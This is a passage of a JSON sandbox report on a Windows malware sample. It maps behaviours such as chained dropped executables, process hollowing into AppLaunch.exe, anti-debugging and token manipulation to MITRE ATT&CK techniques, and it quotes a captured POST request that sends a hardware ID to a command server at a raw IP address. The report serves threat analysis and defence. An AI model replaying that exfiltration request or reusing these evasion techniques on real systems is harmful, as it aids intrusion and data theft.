fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Imports GetCommandLine API"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Execution","technique":"Native API"},{"attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Persistence","technique":"DLL Side-Loading"},{"attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Execution Guardrails"},{"attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"PCAP contains base64 strings"},{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Data Encoding"},{"attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Exfiltration","technique":"Scheduled Transfer"},{"attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"},{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Execution","technique":"Malicious File"},{"attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft"},{"attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Access Token Manipulation"},{"attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification"},{"attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Dynamic API Resolution"},{"attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Discovery","technique":"File and Directory Discovery"},{"attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Owner/User Discovery"},{"attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Ingress Tool Transfer"}],"rule_matches":{},"sandbox_signatures":[{"category":"Environment Awareness","description":"Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; File: \"file\")\n Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-162","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve volume information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$23","id":"registry-177","level":"informative","mitre_attack_id":"T1012","name":"Opens registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$24","id":"binary-1","level":"suspicious","mitre_attack_id":"T1105","name":"Drops executable files","origin":"Binary File","relevance":10,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$25","id":"string-310","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to load modules (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"AppLaunch.exe\" touched file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\"\n \"AppLaunch.exe\" touched file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCookies\"\n \"AppLaunch.exe\" touched file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\"\n \"AppLaunch.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\"\n \"AppLaunch.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies\"\n \"AppLaunch.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\History\"","id":"api-55","level":"informative","mitre_attack_id":"T1083","name":"Touches files in the Windows directory","origin":"API Call","relevance":7,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Calls an API typically used to create a new HTTP request\n Matched sigs: Contacts server\n Matched sigs: Spawned process connects to a network","id":"summary-31","level":"informative","mitre_attack_id":"T1573.001","name":"Shows ability to use encryption for command and control traffic","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found string - L\\.\\Mm; Source: \"file\")\n Found string - L\\.\\Mm; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")","id":"string-145","level":"informative","mitre_attack_id":"T1564","name":"Found virtual disk drive like strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 35846-4697-00442C01\n SetUnhandledExceptionFilter@KERNEL32.dll at 43140-1105-00401748","id":"stream-4","level":"informative","mitre_attack_id":"T1622","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","origin":"Hybrid Analysis Technology","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$26","id":"stream-139","level":"informative","mitre_attack_id":"T1027.005","name":"Contains XOR operation loops [Stream disassembly]","origin":"Hybrid Analysis Technology","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$27","id":"string-171","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve the OS information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"$28","id":"string-315","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to create/open files (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetUserDefaultLocaleName\" (Indicator: \"GetUserDefaultLocaleName\"; File: \"4Tx380er.exe.4175326223\")\n Found reference to API \"EnumSystemLocalesEx\" (Indicator: \"EnumSystemLocales\"; File: \"4Tx380er.exe.4175326223\")\n Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; File: \"4Tx380er.exe.4175326223\")","id":"string-201","level":"informative","mitre_attack_id":"T1614","name":"Contains ability to query system locale (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"AppLaunch.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","id":"api-103","level":"informative","mitre_attack_id":"T1057","name":"Calls an API typically used for taking snapshot of the specified processes","origin":"API Call","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; File: \"file\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-80","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to determine disk drive type (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"System Security","description":"$29","id":"string-230","level":"informative","mitre_attack_id":"T1112","name":"Contains ability to delete registry key/value (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"System Destruction","description":"\"nk2xW14.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\IXP005.TMP\\2Zz0679.exe\" for deletion\n \"nk2xW14.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\IXP005.TMP\\1BU76bP5.exe\" for deletion","id":"api-26","level":"suspicious","mitre_attack_id":"T1070.004","name":"Marks file for deletion","origin":"API Call","relevance":10,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"file\")\n file/memory contains long string with (Indicator: \"OpenProcessToken\"; File: \"file\")\n file/memory contains long string with (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"OpenProcessToken\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"OpenProcessToken\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-306","level":"informative","mitre_attack_id":"T1134.001","name":"Contains ability to impersonate access tokens (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"file\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-409","level":"informative","mitre_attack_id":"T1070.006","name":"Contains ability to set file time (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform AES/RC4 encryption (API string)\n Matched sigs: PCAP contains base64 strings\n Matched sigs: Contains ability to import cryptographic keys (seen in ransomware)\n Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Contains ability to perform decryption (API string)\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)\n Matched sigs: Contains XOR operation loops [Stream disassembly]","id":"summary-28","level":"informative","mitre_attack_id":"T1027","name":"Shows ability to obfuscate file or information","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"file\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"6Pp6Px0.exe.125725185\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-319","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to set/get the last-error code for a calling thread (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"System Security","description":"$2a","id":"static-87","level":"informative","mitre_attack_id":"T1134.001","name":"Imports system security related APIs","origin":"Static Parser","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"\"AppLaunch.exe\" is allocating memory with PAGE_GUARD access rights (Handle: 4294967295); (PID: 7048)","id":"api-1","level":"suspicious","mitre_attack_id":"T1562.001","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","origin":"API Call","relevance":10,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"External Systems","description":"39/67 Antivirus vendors marked sample as malicious (58% detection rate)","id":"avtest-0","level":"suspicious","name":"Sample was identified as malicious by at least one Antivirus engine","origin":"External System","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"file.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007720)\n \"tX4Xf64.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006500)\n \"yh9Qx09.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007164)\n \"mu6rE08.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006672)\n \"Lb2xB02.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007144)\n \"nk2xW14.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005824)\n \"1BU76bP5.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006512)\n \"AppLaunch.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007048)","id":"api-124","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to get product type","origin":"API Call","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"Spawned process \"tX4Xf64.exe\" (UID: 00000000-00006500)\n Spawned process \"yh9Qx09.exe\" (UID: 00000000-00007164)\n Spawned process \"mu6rE08.exe\" (UID: 00000000-00006672)\n Spawned process \"Lb2xB02.exe\" (UID: 00000000-00007144)\n Spawned process \"nk2xW14.exe\" (UID: 00000000-00005824)\n Spawned process \"1BU76bP5.exe\" (UID: 00000000-00006512)\n Spawned process \"AppLaunch.exe\" (UID: 00000000-00007048)\n Spawned process \"2Zz0679.exe\" (UID: 00000000-00007244)\n Spawned process \"AppLaunch.exe\" (UID: 00000000-00005520)\n Spawned process \"3Ix70mE.exe\" (UID: 00000000-00007200)","id":"target-103","level":"informative","mitre_attack_id":"T1057","name":"Spawns new processes that are not known child processes","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"System Security","description":"$2b","id":"string-474","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to access device drivers","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"1BU76bP5.exe\" set thread context in remote process \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe\" (PID: 1b88)\n \"2Zz0679.exe\" set thread context in remote process \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe\" (PID: 1590)","id":"api-14","level":"malicious","mitre_attack_id":"T1055.012","name":"Sets thread context in a remote process (often injection or process hollowing)","origin":"API Call","relevance":10,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Found reference to API \"DecryptFileA\" (Indicator: \"DecryptFile\"; File: \"file\")\n Found reference to API \"DecryptFileA\" (Indicator: \"DecryptFile\"; Source: \"00000000-00005824.00000000.68203.01341000.00000020.mdmp\")\n Found reference to API \"DecryptFileA\" (Indicator: \"DecryptFile\"; Source: \"00000000-00006500.00000000.68014.00E71000.00000020.mdmp\")\n Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp\")","id":"string-212","level":"informative","mitre_attack_id":"T1140","name":"Contains ability to perform decryption (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"Sleep@KERNEL32.dll at 47637-367-00409311\n Sleep@KERNEL32.dll at 52779-7420-004431E8\n SleepConditionVariableCS@KERNEL32.dll at 52779-6376-00420A01\n Sleep@KERNEL32.dll at 52779-5926-00418F95\n SleepConditionVariableSRW@KERNEL32.dll at 52779-7442-0044326C\n WaitForSingleObjectEx@KERNEL32.dll at 52779-5990-00402FD6\n SleepConditionVariableSRW@KERNEL32.dll at 52779-6377-00420A1A\n SleepConditionVariableSRW@KERNEL32.dll at 52779-5779-0041C8C6\n SleepConditionVariableCS@KERNEL32.dll at 52779-7455-004432BA","id":"stream-103","level":"informative","mitre_attack_id":"T1497.003","name":"Contains ability to delay the execution of current thread","origin":"Hybrid Analysis Technology","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$2c","id":"api-235","level":"informative","mitre_attack_id":"T1057","name":"Queries basic information of the specified process","origin":"API Call","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"\" (Indicator: \"WinExec\"; Source: \"00000000-00005824.00000000.68203.03490000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"WinExec\"; Source: \"00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"WinExec\"; Source: \"00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp\")","id":"string-240","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to execute an application (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"Process \"tX4Xf64.exe\" (UID: 00000000-00006500) was launched with new environment variables: \"__COMPAT_LAYER=\"ElevateCreateProcess WRPMitigation\", PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"tX4Xf64.exe\" (UID: 00000000-00006500) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"","id":"target-67","level":"informative","mitre_attack_id":"T1057","name":"Process launched with changed environment","origin":"Monitored Target","relevance":10,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Network Related","description":"Heuristic match: \" \"--4JJ9sCTMuDprKh96taGY\nContent-Disposition: form-data; name=\"hwid\"\n\nRjBDNTM3MEU4MTZFMjM5NzcxMTk0Ng==\n--4JJ9sCTMuDprKh96taGY\nContent-Disposition: form-data; name=\"build\"\n\nbW9yZGE=\n--4JJ9sCTMuDprKh96taGY--\"","id":"network-40","level":"malicious","mitre_attack_id":"T1041","name":"Collects system information using POST request","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"$33","id":"api-121","level":"informative","mitre_attack_id":"T1070.004","name":"Calls an API typically used to remove a directory","origin":"API Call","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found API call GetTimeZoneInformation@KERNEL32.dll directly followed by \"cmp eax, FFFFFFFFh\" and \"je 00499CEFh\" at 35846-2911-00499BC3","id":"stream-39","level":"informative","mitre_attack_id":"T1497","name":"Makes a code branch decision directly after an API that is environment aware","origin":"Hybrid Analysis Technology","relevance":10,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"$34","id":"string-322","level":"informative","mitre_attack_id":"T1570","name":"Contains ability to move file or directory (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"\"file\" has an executable section named \".text\"\n \"tX4Xf64.exe\" has an executable section named \".text\"\n \"yh9Qx09.exe\" has an executable section named \".text\"\n \"4Tx380er.exe\" has an executable section named \".text\"\n \"2Zz0679.exe\" has an executable section named \".text\"\n \"mu6rE08.exe\" has an executable section named \".text\"\n \"1BU76bP5.exe\" has an executable section named \".text\"\n \"Lb2xB02.exe\" has an executable section named \".text\"\n \"nk2xW14.exe\" has an executable section named \".text\"\n \"5ur9cS3.exe\" has an executable section named \".text\"\n \"6Pp6Px0.exe\" has an executable section named \".text\"\n \"7ho9Fx74.exe\" has an executable section named \".code\"\n \"7ho9Fx74.exe\" has an executable section named \".text\"\n \"3Ix70mE.exe\" has an executable section named \".text\"","id":"static-80","level":"informative","name":"PE file contains executable sections","origin":"Static Parser","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"AppLaunch.exe\" reads file \"c:\\windows\\microsoft.net\\framework\\v4.0.30319\\applaunch.exe.config\"\n \"AppLaunch.exe\" reads file \"c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config\"\n \"AppLaunch.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll.aux\"\n \"AppLaunch.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\2c3c912ea8f058f9d04c4650128feb3f\\system.ni.dll.aux\"","id":"api-243","level":"informative","mitre_attack_id":"T1083","name":"Reads files","origin":"API Call","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Network Related","description":"Found string \"POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=4JJ9sCTMuDprKh96taGYContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache--4JJ9sCTMuDprKh96taGYContent-Disposition: form-data; name=\"hwid\"RjBDNTM3MEU4MTZFMjM5NzcxMTk0Ng==--4JJ9sCTMuDprKh96taGYContent-Disposition: form-data; name=\"build\"bW9yZGE=--4JJ9sCTMuDprKh96taGY--\"; File: \"PCAP\")","id":"string-511","level":"informative","mitre_attack_id":"T1041","name":"Contains ability to upload file/data","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"file\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"6Pp6Px0.exe.125725185\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-427","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve a module handle (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"System Security","description":"$35","id":"string-77","level":"informative","mitre_attack_id":"T1134","name":"Contains ability to modify access token privileges (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"\"file.exe\" called \"CreateProcessA\" with parameter \"%TEMP%\\IXP000.TMP\\tX4Xf64.exe\" - (UID: 00000000-00007720)\n \"tX4Xf64.exe\" called \"CreateProcessA\" with parameter \"%TEMP%\\IXP001.TMP\\yh9Qx09.exe\" - (UID: 00000000-00006500)\n \"yh9Qx09.exe\" called \"CreateProcessA\" with parameter \"%TEMP%\\IXP002.TMP\\mu6rE08.exe\" - (UID: 00000000-00007164)\n \"mu6rE08.exe\" called \"CreateProcessA\" with parameter \"%TEMP%\\IXP003.TMP\\Lb2xB02.exe\" - (UID: 00000000-00006672)\n \"Lb2xB02.exe\" called \"CreateProcessA\" with parameter \"%TEMP%\\IXP004.TMP\\nk2xW14.exe\" - (UID: 00000000-00007144)\n \"Lb2xB02.exe\" called \"CreateProcessA\" with parameter \"%TEMP%\\IXP004.TMP\\3Ix70mE.exe\" - (UID: 00000000-00007144)\n \"nk2xW14.exe\" called \"CreateProcessA\" with parameter \"%TEMP%\\IXP005.TMP\\1BU76bP5.exe\" - (UID: 00000000-00005824)\n \"nk2xW14.exe\" called \"CreateProcessA\" with parameter \"%TEMP%\\IXP005.TMP\\2Zz0679.exe\" - (UID: 00000000-00005824)","id":"api-128","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to create a process","origin":"API 